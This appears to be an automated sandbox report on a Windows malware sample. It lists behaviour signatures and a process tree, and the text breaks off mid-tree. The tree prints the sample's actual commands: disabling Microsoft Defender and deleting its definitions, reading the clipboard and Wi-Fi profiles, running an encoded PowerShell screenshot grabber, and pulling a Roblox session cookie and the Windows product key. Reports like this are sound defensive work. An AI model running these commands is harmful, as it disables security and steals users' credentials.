Overview

overview

10

Static

static

10

2026-11-12...yn.exe

windows10-2004-x64

10

2026-11-12...yn.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    125s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 04:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe
  • Size 13.8MB
  • Sample261113-e7y25afw5s
  • SHA256 365f6c48bcf74d88c6d9baac75f3cad67badbfea829419dbb529c33050eb1beb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationpyinstallerspywarestealer

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    defense_evasion
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 22 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 3 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

    discoverydefense_evasion
  • Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

    Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 23 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2680
    • \??\c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
      c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4852
      • \??\c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
        c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Enumerates video capture drivers
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of WriteProcessMemory
        PID:5200
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe '"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe '
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:5348
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3568
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Suspicious use of AdjustPrivilegeToken
            PID:2476
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            5⤵
            • Deletes Windows Defender Definitions
            PID:3776
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5868
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4340
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1052
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:5928
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2564
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            5⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of AdjustPrivilegeToken
            PID:4484
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          4⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:5964
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            5⤵
            • Clipboard Data
            • Suspicious use of AdjustPrivilegeToken
            PID:4788
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2808
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4800
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5220
          • C:\Windows\system32\tree.com
            tree /A /F
            5⤵
              PID:1896
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            4⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:5976
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              5⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4152
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4496
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              5⤵
              • Gathers system information
              PID:2972
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3596
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4856
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4me4lfxp\4me4lfxp.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3268
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES55B7.tmp" "c:\Users\Admin\AppData\Local\Temp\4me4lfxp\CSC6AFC9588463E4DE494D8B426C8FA1A1D.TMP"
                  7⤵
                    PID:2496
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3280
              • C:\Windows\system32\tree.com
                tree /A /F
                5⤵
                  PID:2616
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3340
                • C:\Windows\system32\tree.com
                  tree /A /F
                  5⤵
                    PID:1572
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  4⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1244
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    5⤵
                      PID:1760
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    4⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:4280
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      5⤵
                        PID:2148
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      4⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4656
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        5⤵
                          PID:5808
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        4⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1124
                        • C:\Windows\system32\getmac.exe
                          getmac
                          5⤵
                            PID:2028
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4936
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:3492
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5016
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            5⤵
                              PID:3196
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                            4⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2392
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic os get Caption
                              5⤵
                              • Reads the TCP/IP host and domain name from the registry
                              PID:5076
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                            4⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3880
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic computersystem get totalphysicalmemory
                              5⤵
                              • Reads the TCP/IP host and domain name from the registry
                              PID:5268
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                            4⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4816
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic csproduct get uuid
                              5⤵
                              • Queries system WMI classes for hardware identifiers
                              • Reads the TCP/IP host and domain name from the registry
                              PID:4616
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                            4⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1932
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                              5⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:5504
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                            4⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2108
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic path win32_VideoController get name
                              5⤵
                              • Reads the TCP/IP host and domain name from the registry
                              • Detects videocard installed
                              PID:3452
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                            4⤵
